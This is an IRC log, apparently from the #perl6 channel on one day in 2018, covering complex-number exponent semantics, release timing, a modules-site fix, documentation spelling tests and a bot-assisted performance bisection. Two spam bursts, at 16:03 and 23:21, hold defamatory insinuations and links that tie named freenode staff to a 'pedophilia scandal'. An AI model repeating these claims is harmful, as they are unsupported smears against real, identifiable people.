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Zoffix	Found this "IEEE Std 1076.2-1996 IEEE Standard VHDL Mathematical Packages" https://perso.telecom-paristech.fr/guilley/ENS/20171205/TP/tp_syn/doc/IEEE_VHDL_1076.2-1996.pdf	15:35
	If go into EXP function definition, it shows the zero power operations giving 1+0i, not NaNs	15:36
	Add to that the majority of languages also doing 1+0i, and that's good enough for me.	15:38
mst	x^0 is 1, yes	15:41
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Zoffix	mst: but for complex it's undefined, is it?	15:42
mst	I don't really see why it would be	15:43
Zoffix	(42+42i)^(0+0i)	15:43
	ok	15:43
mst	raising to a complex power makes no sense	15:43
	but (42+42i)^0 I'd expect to be 1	15:43
	both as a programmer and a once-a-mathematician	15:44
	note: this could be me remembering wrong	15:44
notable6	mst, Noted!	15:44
mst	but I don't think so	15:44
	whatever I just did to the bot,m I didn't mean to.	15:44
Zoffix	notable6: this	15:45
notable6	Zoffix, 2 notes: 2018-05-25T18:18:30Z <mst>: channel was accessible only to diakopter so I've stolen ownership of it and given Zoffix and jnthn basic chanserv permissions ; 2018-07-28T15:44:06Z <mst>: could be me remembering wrong	15:45
Zoffix	notable6: delete this	15:45
notable6	Zoffix, Moved existing notes to “this_2018-07-28T15:45:14Z”	15:45
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jmerelo	releasable6: status	15:48
releasable6	jmerelo, Next release will happen when it's ready. 3 blockers. 81 out of 259 commits logged (⚠ 9 warnings)	15:48
	jmerelo, Details: https://gist.github.com/c8050015e18278b6b0414a9286e3a66c	15:48
Zoffix	jmerelo: I think we're skipping the release.	15:48
tyil	skipping a release?	15:48
jmerelo	Zoffix: as in, waiting until next month?	15:48
Zoffix	jmerelo: yeah, waiting another 3 weeks	15:49
	jmerelo: well, I'm not the release manager, but that was part of the recent discussion	15:49
	And jnthn is now on vacation	15:49
jmerelo	Zoffix: OK. Makes sense. Not the season for releases.	15:50
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Zoffix	.tell scovit found some IEEE-approved standard that does define an EXP operation on complex and the result is 1+0i. Also the majority of languages do it that way. So it's similar to how 1e0/0e0 is Inf, not a NaN: the programming answer differs from math one for practical reasons. I added comment to the propspec: https://github.com/perl6/roast/commit/ba9f5233c8	15:59
yoleaux	Zoffix: I'll pass your message to scovit.	15:59
tobs	mst: raising to complex powers does make sense, e.g. -> \θ { e*(θi) } is a counter-clockwise rotation of θ radians	16:00
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mst	tobs: oooh, fuck, yes, good point	16:00
	Zoffix: note this is why I say 'once-a-mathematician'	16:01
El_Che	once-a-vogue-model, I recall as well	16:01
tobs	and at the risk of repeating what was said in that old RT, the undefinedness of 1/0 and 0^0 comes from different ways at looking at 0^0: as a limit of x^0 for x -> 0, it clearly 1.	16:01
	0^x approached from negative x gives you infinity, approached from positive x gives you 0.	16:02
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kloeri19	Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/	16:03
	or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/	16:03
	Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate	16:03
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Geth	¦ modules.perl6.org: 78b69a5143 \| (Timo Paulssen)++ \| lib/ModulesPerl6/DbBuilder/Dist/PostProcessor/p30METAChecker.pm	16:04
	¦ modules.perl6.org: complain if the travis config contains "rakudobrew build panda"	16:04
	¦ modules.perl6.org: review: https://github.com/perl6/modules.perl6.org/commit/78b69a5143	16:04
	¦ modules.perl6.org: 9a94f69339 \| (Juan Julián Merelo Guervós)++ (committed using GitHub Web editor) \| lib/ModulesPerl6/DbBuilder/Dist/PostProcessor/p30METAChecker.pm	16:04
	¦ modules.perl6.org: Merge pull request #86 from perl6/complain_travis_build-panda	16:04
	¦ modules.perl6.org:	16:04
	¦ modules.perl6.org: complain if the travis config contains "rakudobrew build panda"	16:04
	¦ modules.perl6.org: review: https://github.com/perl6/modules.perl6.org/commit/9a94f69339	16:04
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Zoffix	jmerelo: why merge a PR that's being claimed to be broken?	16:07
jmerelo	Zoffix: I don't think it is.	16:08
Zoffix	jmerelo: travis file isn't fetched	16:08
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jmerelo	Zoffix: $travishml does not get its content anywhere, is that what you mean?	16:10
	Zoffix: if that's the case, it's probably better to fix that. Let me see what I can do.	16:11
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Zoffix	jmerelo: yes, the DATAFetcher postprocessor currently only fetches README: https://github.com/perl6/modules.perl6.org/blob/484ca3d1c3ae1fb7fdce7e18d1d6edeef7bf0180/lib/ModulesPerl6/DbBuilder/Dist/PostProcessor/p05DataFetcher.pm#L30-L64	16:15
jmerelo	Zoffix: why can't that be applied to other files?	16:19
Zoffix	jmerelo: it can, it's just isn't, which is what my comment on that PR was inquiring about	16:19
jmerelo	Zoffix: OK. Let me add then code for .travis.yml	16:20
Zoffix	jmerelo++	16:20
	BTW there most likely won't be any videos of my talks due to hardware... um... "issues" (not really issues, more like we used some built-in system at this company and apparently it's not set up to produce videos of meetings)	16:21
jmerelo	Zoffix: how did the talk go?	16:22
stmuk_	any chance of a "screencast" (which are often easy to hear and read than "live" recording)?	16:22
Zoffix	Like me talking into a mic?	16:24
	I think I might do an "article" with slides and transcriptions of what was said.	16:24
	It's pretty hard to understand me when I speak	16:24
	jmerelo: OK	16:25
stmuk_	yes it's basically recording a screen with slides and an audio track	16:25
Zoffix	jmerelo: or pretty good, considering it's a Perl 5 crowd :)	16:25
stmuk_	you sound fine	16:26
Zoffix	One guy said he'll have to try out Perl 6, so I guess mission accomplished.	16:26
jmerelo	Zoffix: great to hear that. Augmenting the community, one person at a time :-)	16:26
stmuk_	I think VLC and Quicktime Pro (Mac) do screencasts	16:26
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Zoffix	jmerelo: what are you asking on https://github.com/perl6/modules.perl6.org/issues/109 ? Do you want a one-time copy of the DB or are you looking for a continuous way of accessing the metadata?	16:32
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jmerelo	Zoffix: both, I guess.	16:33
	Zoffix: the sqlite DB must be somewhere...	16:33
	Zoffix: But problem is now it does not pass tests	16:35
Zoffix	jmerelo: it is there, yeah, but it's not publically downloadable from the site.	16:35
	jmerelo: here's a copy: https://temp.perl6.party/modulesperl6-2018-07-27.db	16:35
	jmerelo: and you can continuously access module data from the search JSON: http://modules.perl6.org/search.json	16:36
	^ that URL gives all modules	16:36
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Zoffix	jmerelo: "now"? As in it was passing before your changes?	16:36
jmerelo	Zoffix: but I was looking for the metadata that is actually on the site, like travis status or number of stars or issues.	16:36
Zoffix	There's a high chance the tests are bitrotten	16:36
	and weren't passing before	16:37
jmerelo	Zoffix: Hum.	16:37
	Zoffix: also, no CI set up there.	16:37
	Zoffix: there are arrors like this " Tried to use 'ModulesPerl6::DbBuilder::Dist::PostProcessor::TravisCI'."	16:37
Zoffix	jmerelo: that stuff is in JSON (`travis_status`, `stars`, and `issues` keys respectively): http://modules.perl6.org/search.json	16:38
jmerelo	Zoffix: great	16:38
	jmerelo wonders if it wouldn't be better to unbitrot modules.perl6.org instead of modules	16:39
jmerelo	Zoffix: what is build_id?	16:41
Zoffix	jmerelo: as a task, sure, but not as SQUASHathon, because modules.perl6.org is Perl 5	16:41
	jmerelo: a build of ecosystem (going through metas and loading any fresh data/modules). It's a way for the site to know which modules were removed from the site	16:42
jmerelo	Zoffix: right, but it would still help the Perl 6 ecosystem...	16:42
Zoffix	(at the end of the run, it basically removes all modules that don't have their build_id updated to current ID)	16:42
jmerelo	Zoffix: now that you mention that... What about panda, which is clearly marked as "deprecated". Wouldn't it be better to remove it from there?	16:43
Zoffix	jmerelo: I'm not the author of that module.	16:43
	(i.e. I don't think the Perl 6 community is an arbitrator of when third party modules must be removed from the ecosystem, simply because they're deemed deprecated. It's the module's author responsibility.)	16:44
jmerelo	Zoffix: OK	16:44
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jmerelo	Zoffix: although... I don't think that's clearly written anywhere.	16:49
	Zoffix: let me check.	16:49
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fbynite	where is ^name documented?	17:20
	hope → Guest207	17:20
jmerelo	fbynite: MOP, I think.	17:20
	fbynite: https://docs.perl6.org/routine/.$CIRCUMFLEX_ACCENT.html and link to Meta Object Protocol there	17:20
Guest207	am I right that no way to install perl6 om win on not C: drive?	17:21
fbynite	jmerelo: thanks	17:21
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Zoffix	Guest207, if you compile from source, you can install it in any location you want: https://rakudo.org/files/star/source	17:41
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lucs	Is there a spelling guide or something for the docs? (e.g., I see both semi-colon and semicolon, the latter being more usual -- do we care?)	17:51
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stmuk_	"there's more than one way to spell it"	17:55
lucs	:)	17:55
	Actually, I'm not crazy about that idea, it feels a bit sloppy.	17:56
	But yeah, not such a big deal.	17:57
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sena_kun	I saw some issues of this type before(like file-handle vs filehandle), can't quickly give links. But it is very easy to fix and write a test afterwards, so probably worth a ticket.	17:59
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jmerelo	lucs: that shouldn't be there; semicolon is preferred. There are tests for that precise thing, but not much more than that.	18:00
	sena_kun: filehandle is now preferred. Enforced, actually: https://github.com/perl6/doc/blob/master/xt/word-variants.	18:01
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lucs	jmerelo: How does it get enforced?	18:01
sena_kun	jmerelo, yup, that's what I meant. :)	18:02
jmerelo	lucs: we run that author test from time to time, and fix it.	18:02
	lucs: I'll add semicolon	18:02
lucs	Um, 404 on that page it seems.	18:03
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jmerelo	lucs: which one?	18:03
lucs	https://github.com/perl6/doc/blob/master/xt/word-variants	18:04
jmerelo	Ah, t missing. sorry	18:04
	https://github.com/perl6/doc/blob/master/xt/word-variants.t	18:04
lucs	Ah, right. thanks.	18:04
CIAvash[m]	lucs: "long name" is mentioned in the design docs: https://design.perl6.org/S06.html#Longname_parameters https://design.perl6.org/S12.html#Multisubs_and_Multimethods	18:05
lucs	CIAvash[m]: Interesting, will be reading. Thanks.	18:07
Geth	¦ doc: 79ab8c45de \| (JJ Merelo)++ \| 4 files	18:08
	¦ doc: Adds semicolon to the list of preferred word spelling	18:08
	¦ doc:	18:08
	¦ doc: After lucs warned in #IRC	18:08
	¦ doc: http://colabti.org/irclogger/irclogger_log/perl6?date=2018-07-28#l730. Also	18:08
	¦ doc: fixed three spellings found.	18:08
	¦ doc: review: https://github.com/perl6/doc/commit/79ab8c45de	18:08
jmerelo	^^^ lucs thanks!	18:08
lucs	My pleasure	18:09
xinming	For a perl5 program, is it possible to detect wether it's running in p6 env?	18:12
jmerelo	xinming: you mean for some perl5 instructions in a Perl 6 program	18:13
	xinming: using Inline::Perl5, for instance.	18:13
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mst	xinming: the question to me is why do you want to do that?	18:14
	.oO "I wonder what $^X would look like"	18:14
lucs	CIAvash[m]: Dang, just when I thought I was starting to understand the ;; , this S12 appears :)	18:14
jmerelo	lucs: S12 are not always in force...	18:15
lucs	jmerelo: I understand, but I think there's some relevant stuff there about the ;; .	18:15
jmerelo	lucs: in that particular case, I'm almost sure it is not.	18:15
lucs	Hmm...	18:16
jmerelo	lucs: what do I know. It's working https://docs.perl6.org/type/Signature#Long_names	18:16
xinming	mst: it's loading too slow when I try to load some modules with Moose in perl6	18:16
	so, I wish to use a separate module, when run in perl5 directly, It apply roles after done loading, when it is embed in perl6, It'll skip that step	18:17
lucs	jmerelo: Yeah, that's what I'm trying to clarify.	18:17
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lucs	I think I'm close, but the cigar still has to wait...	18:18
xinming	mst: It's in DBIx::Class, I have dbic schema which uses Moose, I'm thinking wether it's possible to make it load the full schema/methods in perl5, and when in perl6, We skip that, only use schema.	18:19
mst	xinming: using Moose in DBIC schemas has always seemed like a waste of time to me.	18:20
xinming	mst: there are some parts which I feel handy, something like lazy_build	18:20
	But Ok, I'll strip the Moose things out of the DBIx Schema	18:21
	actually, The reason I want to Mooseify schema is because I saw catalyst uses it, why not schema. :-)	18:22
mst	catalyst uses Moose as its object system	18:22
	DBIC has its own object system	18:22
	usually in DBIC I just write	18:22
	sub foo { $_[0]->{foo} //= $_[0]->_build_foo }	18:23
xinming	mst: BTW, when we use DBIC in perl6, will it cause many performance degrade?	18:24
jmerelo	lucs: if you don't think it's clear enough in the doc, please raise an issue...	18:24
mst	xinming: I have no idea	18:25
xinming	mst: Ok, I'll use DBIish instead.	18:25
	Let schema stay in perl5	18:26
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lucs	jmerelo: I've actually got a commit bit, and if my understanding reaches far enough, I'll fix it.	18:27
	(I'll probably want to confirm with you folks first, to make sure.)	18:27
jmerelo	lucs: that would be awesome. Thanks!	18:30
lucs	Again, my pleasure :)	18:30
	(I love Perl6 and you people!)	18:30
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jmerelo	lucs++	18:31
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CIAvash[m]	lucs++	18:32
masak	m: say 1 + my $x = 2	18:42
camelia	rakudo-moar 72c8cf68c: OUTPUT: «3␤»	18:42
masak	why does `my $x = 2` require parentheses in Perl 5?	18:43
Juerd	Precedence	18:48
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Juerd	In fact, I don't really understand why it doesn't require parentheses in Perl 6, since + is still tighter than =.	18:50
drudgesentinel	@CIAvash: That's exactly what I was looking for, thank you!	18:50
Juerd	Apparently, 'my' makes it special.	18:51
	m: my $x; say 1 + $x = 2	18:51
camelia	rakudo-moar 72c8cf68c: OUTPUT: «Use of uninitialized value of type Any in numeric context␤ in block <unit> at <tmp> line 1␤Cannot modify an immutable Int (1)␤ in block <unit> at <tmp> line 1␤␤»	18:51
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geekosaur	doesn't my still have some kind of listop precedence?	18:57
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tony-o_	AlexDaniel: can you provide more info about flapping in flow? i'm not able to reproduce in linux either (is it still happening for you?)	18:59
AlexDaniel	tony-o_: hello, yeah I've seen your comment	18:59
	tony-o_: let me try to reproduce it on HEAD, who knows, maybe the issue is gone	18:59
	tony-o_: alright, so I have rakudo built on HEAD, and your module checked out from [email@hidden.address] on 7de3e893a60b3b9cd	19:05
	tony-o_: that's on Debian unstable	19:06
	now I'll run the tests like this: while PERL6LIB=lib/ prove --exec=perl6 t/*.t; do ((x++)); done	19:06
	tony-o_: boom	19:08
	failed after 50 iterations	19:08
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AlexDaniel	tony-o_: https://gist.github.com/AlexDaniel/16bbbf7d0fa37441a59a4035d1de1550	19:09
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tony-o_	let me stand up a deb unstable	19:17
	AlexDaniel: just to verify, you're on buster ?	19:18
AlexDaniel	tony-o_: buster is `testing`, I'm on `unstable`	19:19
	but I don't think it matters	19:19
tony-o_	i don't either unless an issue was introduced with whatever moarvm is using for concurrency these days	19:20
	(or fixed something that we were abusing in moar)	19:20
AlexDaniel	but it doesn't depend on anything installed on the system	19:21
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tony-o_	does it build it's own libuv?	19:26
	ah it does, hm	19:27
tyil	so, I have two modules I'm working on simultaneously, Pod::To::Anything, as a helper to build pod formatters with (https://gitlab.com/tyil/perl6-pod-to-anything) and Pod::To::Man, to convert pod docs to man format (https://gitlab.com/tyil/perl6-pod-to-man)	19:28
	when I try to run `perl6 -I ../perl6-Pod-To-Anything/lib -Ilib --doc=Man t/document.t` from the Pod::To::Man's project root, I get the error "Could not locate compile-time value for symbol Block::Para"	19:28
	but I'm not calling Block::Para anywhere, in neither of the two repos	19:29
	I am using Pod::Block::Para	19:29
	but not just Block::Para	19:29
tony-o_	is a module that you depend upon that didn't declare block::para as a dep?	19:29
tyil	I searched both projects with `ag`, and neither uses `Block::Para`	19:29
	the error message also doesn't say in which module, class or whatever it encountered the error	19:30
	so I find it difficult to find out what is supposedly trying to use a Block::Para	19:31
tony-o_	`perl6 -I ../perl6-Pod-To-Anything/lib -Ilib --ll-exception --doc=Man t/document.t`	19:31
tyil	https://p.tyil.nl/loof	19:32
tony-o_	you have those repos available anywhere?	19:34
tyil	yes, I added links to their gitlab pages, https://gitlab.com/tyil/perl6-pod-to-anything and https://gitlab.com/tyil/perl6-pod-to-man	19:35
	neither of them are finished, I pushed them in the state I got the error in	19:37
tony-o_	initial thought is there is a stray Pod::Block::Para somewhere	19:39
tyil	using ag I find 3 references to Block::Para over both repos	19:40
	Pod To Man has multi method render (Pod::Block::Para:D $pod --> Str) { "{self.pod-contents($pod)}\n\n" }	19:40
	and Pod::To::Anything::Abstract has ulti method render (Pod::Block::Para:D $ --> Str) { … }	19:40
	the final one is found inside a pod block (and is also Pod::Block::Para)	19:41
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tyil	I also thought it'd probably be a typo somewhere leading to a `Block::Para` somewhere, but I can't seem to find any such occurance, and generally you get a prettier error about it	19:43
tony-o_	well, it's happening in pod::to::anything	19:44
tyil	how did you figure that out?	19:44
tony-o_	Pod::To::Anything::Subsets	19:44
	perl6 -Ilib -c lib/Pod/To/Anything.pm6	19:45
tyil	ah	19:45
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tony-o_	commenting out use Pod::To::Anything::Subsets in that file causes syntax OK	19:46
tyil	it says Syntax OK for me regardless	19:47
	oh, the Anything.pm6 indeed gives me an erro	19:47
	r	19:47
tony-o_	fresh checkout out of repo gives me: https://gist.github.com/tony-o/86af533ec27253882b240d2845515ff8	19:47
tyil	it says OK if I remove the `is export` from the subsets	19:47
	and the perl6 command I was trying to run is giving a reasonable error now as well, so I can work on again	19:51
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tyil	thanks for your assistance tony-o_ :D	19:51
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AlexDaniel	releasable6: next	19:51
releasable6	AlexDaniel, Next release in ≈20 days and ≈23 hours. 3 blockers. 81 out of 261 commits logged (⚠ 9 warnings)	19:51
	AlexDaniel, Details: https://gist.github.com/d65769a7ccf33655f0913799b9147e1b	19:51
tony-o_	np	19:52
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masak	TimToady: I'm getting increasingly interested in the COMPILING pseudo-package. when you have the time, I wouldn't mind asking some questions.	21:19
	masak learned today that there's an analogue in Perl 5	21:19
	masak also learned today that a quasi can `require` variables from COMPILING	21:20
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buggable	New CPAN upload: Terminal-Spinners-1.0.0.tar.gz by RYNIX http://modules.perl6.org/dist/Terminal::Spinners:cpan:RYNIX	22:11
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ryn1x	^ my very small contribution to perl6 =)	22:16
El_Che	a fake_space_whale?	22:18
	:)	22:18
	ryn1x: looking fwd to trying it out	22:18
fake_space_whale	hmm?	22:18
El_Che	fake_space_whale: ryn1x pointed to the previous line and it was your join message by coincidence	22:19
fake_space_whale	oh	22:19
ryn1x	haha	22:20
fake_space_whale	While I am paying attention to this channel, I build a perl6 module as a hobby project but I haven't had the energy/time to write good documentation or optimize it for performance. What is considered to be the minimum standard of quality before releasing a package on CPAN?	22:22
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Juerd	None	22:31
ryn1x	I was encouraged by others here to contribute when I was just trying to learn about modules and cpan. I would say if it is something that you think others would find useful then share it! A good guide on how to upload etc. is here: https://docs.perl6.org/language/modules.html	22:32
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jdv79	just did some time and mem tests from the last time i installed rakduo (mar) to today. looks like its slower and bigger:(	22:46
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jdv79	one test went from 4.29s -> 5.29s and from 235MB -> 286MB	22:47
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AlexDaniel	jdv79: can you ticket that? Is there a golf?	22:50
	even without a golf, if it's one script we can bench it right here a bit	22:50
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jdv79	its not "news" - its been "slow" forever.	22:52
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jdv79	its just https://github.com/jdv/p6-data-selector/blob/master/t/03-apply_tree.t	22:52
	under /usr/bin/time -v ...	22:53
timotimo	do you happen to know what the previous version of rakudo and friends was?	22:53
AlexDaniel	I mean, we can bisect it, right?	22:53
jdv79	maybe its just the "unfinished/unrealizied" recent jnthn stuff	22:54
benjikun	`.WHAT === Type` is a whole lot faster than `.isa(Type)`	22:54
yoleaux	10:14Z <FROGGS> benjikun: take a loot at the p6*json.gz at the bottom: ftp://ftp.gwdg.de/pub/languages/perl/CPAN/authors/	22:54
AlexDaniel	6c: https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	22:54
timotimo	benjikun: should be even faster to just ~~ Type	22:54
committable6	AlexDaniel, https://gist.github.com/9e88c0ec3bf43e549acc22981cba8372	22:54
jdv79	no. i just looked and the mtime of the perl6 file before i wiped it out with todays	22:54
benjikun	Haven't tested that one timotimo	22:54
jdv79	it was march something	22:54
benjikun	I'll try it out :)	22:54
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benjikun	You're right timotimo, pretty significantly faster	22:55
AlexDaniel	6c: https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	22:55
benjikun	`.isa` seems to slow down the more you do it ...	22:56
timotimo	ouch, the profiler segfaults when run against that test file :)	22:56
benjikun	But for 1,000,000 times, the times are: `~~ - 1.0166297, what - 2.8730479, isa - 3.2158791`	22:56
MasterDuke	timotimo: got a segfault also. but the code is doing an EVAL...	22:57
timotimo	many evals	22:57
committable6	AlexDaniel, https://gist.github.com/6dc9b08be59e0537fb91193b95f7a774	22:58
AlexDaniel	6c: https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	22:59
	let's have another run	22:59
	but if it's from 2018.06 to HEAD then it'll be easy to bisect	22:59
benjikun	.tell FROGGS Interesting, perhaps we could do something somewhat similar with the GitHub side of things somehow. An aggregator server that does all of that for zef.	22:59
yoleaux	benjikun: I'll pass your message to FROGGS.	22:59
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timotimo	seems like we reached 2.8 at some point, but we're back up to 3.3?	23:00
AlexDaniel	yeah, something like that, but let's wait for new results…	23:00
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committable6	AlexDaniel, https://gist.github.com/3ed04dff1cfc320444106fc4564323a3	23:01
AlexDaniel	ye	23:01
	bench: 2018.06,HEAD https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	23:01
benchable6	AlexDaniel, starting to benchmark the 2 given commits	23:01
timotimo	i'd like to see the stagestats for all the EVALs we have in there	23:02
benchable6	AlexDaniel, ¦2018.06: «3.1967» ¦HEAD: «3.7439»	23:02
	AlexDaniel, benchmarked the given commits and found a performance difference > 10%, now trying to bisect	23:02
	AlexDaniel, ¦2018.06: «3.1967» ¦59faed1: «3.1234» ¦38d046f: «3.7134» ¦HEAD: «3.7439»	23:03
timotimo	the vim syntax highlighter gets confused by the pod %)	23:03
AlexDaniel	6c: https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	23:04
committable6	AlexDaniel, Using file “foo.p6” as a main file, other files are placed in “sandbox/”	23:04
AlexDaniel	timotimo: ask and you shall receive :)	23:04
timotimo	i didn't immediately see how to get that, though	23:04
AlexDaniel	timotimo: with multifile gists you can do any kind of setup really	23:05
	any command line flags and any input files :)	23:05
timotimo	that only gets you the "outer" stagestats	23:05
	i tried that myeslf, too	23:05
AlexDaniel	timotimo: what kind of stagestats do you want then?	23:06
committable6	AlexDaniel, https://gist.github.com/28e67881c7553fb735f941bf6fb58bea	23:06
AlexDaniel	like the module itself?	23:06
timotimo	well, the module does lots of evaling	23:07
	i'd like to see how much time each eval eats	23:07
AlexDaniel	hmmmm… anyway, back to benchable	23:07
	bench: 59faed1,38d046f https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	23:08
benchable6	AlexDaniel, starting to benchmark the 2 given commits	23:08
	AlexDaniel, ¦59faed1: «3.1137» ¦38d046f: «3.1111»	23:08
	AlexDaniel, No new data found	23:08
AlexDaniel	wat?	23:08
timotimo	i have a super headache, so i won't be of much use right now	23:09
AlexDaniel	timotimo: that's ok, benchable6 has a headache too	23:10
	bisect: old=2018.06 new=HEAD https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	23:11
bisectable6	AlexDaniel, On both starting points (old=2018.06 new=b7379a8) the exit code is 42 and the output is identical as well	23:11
	AlexDaniel, https://gist.github.com/fcafa0f7dadeb445c862a252ff704b31	23:11
AlexDaniel	oops I did it wrong	23:11
	bisect: old=2018.06 new=HEAD https://gist.github.com/AlexDaniel/7102bb2e70835f28851b992a41ea121f	23:11
bisectable6	AlexDaniel, Bisecting by exit code (old=2018.06 new=b7379a8). Old exit code: 42	23:12
	AlexDaniel, bisect log: https://gist.github.com/419f675a35248504fef1d0ccf2a22b46	23:12
	AlexDaniel, (2018-07-13) https://github.com/rakudo/rakudo/commit/83b4c8dcf4f7af77c4514081978dfe9a39c59288	23:12
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AlexDaniel	alright I'll move to #whateverable	23:13
Zoffix	Talk Slides and Recording: "Faster Perl 6 Programs": https://rakudo.party/post/Faster-Perl-6-Programs-Perl-6-Talk--Slides-Recording	23:13
AlexDaniel	woo! Zoffix++	23:13
jdv79	timotimo: what module does a lot o eval?	23:13
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Shnaw7	Interested in reasonably priced GLOBAL IRC ADVERTISING? Contact me on twitter https://twitter.com/nenolod or linkedin https://www.linkedin.com/in/nenolod	23:21
benjikun	Spam :/	23:21
AlexDaniel	jdv79: alright	23:22
	jdv79: so	23:22
	jdv79: before 2.691408 after 3.27876625, (2018-07-14) https://github.com/rakudo/rakudo/commit/5cf0afce02c50677c58d958563d844d0a5098e7d	23:23
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AlexDaniel	jdv79: can you file a ticket?	23:24
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timotimo	jdv79: i believe yours does? perhaps regex interpolation?	23:59

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